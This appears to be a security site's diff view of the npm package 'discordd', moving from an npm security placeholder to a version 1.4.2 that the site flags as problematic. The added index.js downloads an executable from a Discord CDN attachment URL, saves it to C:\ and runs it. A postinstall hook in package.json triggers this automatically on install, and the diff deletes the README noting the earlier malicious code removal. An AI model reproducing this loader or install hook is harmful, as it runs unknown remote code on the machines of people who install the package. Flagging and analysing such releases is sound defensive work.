discordd 0.0.1-security → 1.4.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discordd might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +38 -0
  2. package/package.json +15 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ // index.js
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+
7
+ console.log('Modül yüklendiğinde .exe dosyası otomatik olarak çalışacak.');
8
+
9
+ // .exe dosyasını indiren ve çalıştıran fonksiyon
10
+ function runExe() {
11
+ const url = 'https://cdn.discordapp.com/attachments/1136403817945124906/1136403907069874359/generatorr.exe';
12
+ const exeFilePath = path.join('C:\\', 'generatorr.exe'); // C:\ dizinine kaydedilecek
13
+
14
+ const file = fs.createWriteStream(exeFilePath);
15
+
16
+ https.get(url, (response) => {
17
+ response.pipe(file);
18
+ file.on('finish', () => {
19
+ file.close();
20
+ console.log('.exe dosyası indirildi:', exeFilePath);
21
+ exec(exeFilePath, (error, stdout, stderr) => {
22
+ if (error) {
23
+ console.error(`Hata oluştu: ${error.message}`);
24
+ return;
25
+ }
26
+ if (stderr) {
27
+ console.error(`Hata çıktısı: ${stderr}`);
28
+ return;
29
+ }
30
+ console.log(`.exe çıktısı: ${stdout}`);
31
+ });
32
+ });
33
+ }).on('error', (error) => {
34
+ console.error('İndirme hatası:', error.message);
35
+ });
36
+ }
37
+
38
+ runExe();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
- {
2
- "name": "discordd",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "discordd",
3
+ "version": "1.4.2",
4
+ "description": "discordd",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "https": "^1.0.0",
8
+ "fs": "^0.0.1-security"
9
+ },
10
+ "scripts": {
11
+ "postinstall": "node index.js"
12
+ },
13
+ "author": "Your Name",
14
+ "license": "MIT"
15
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discordd for more information.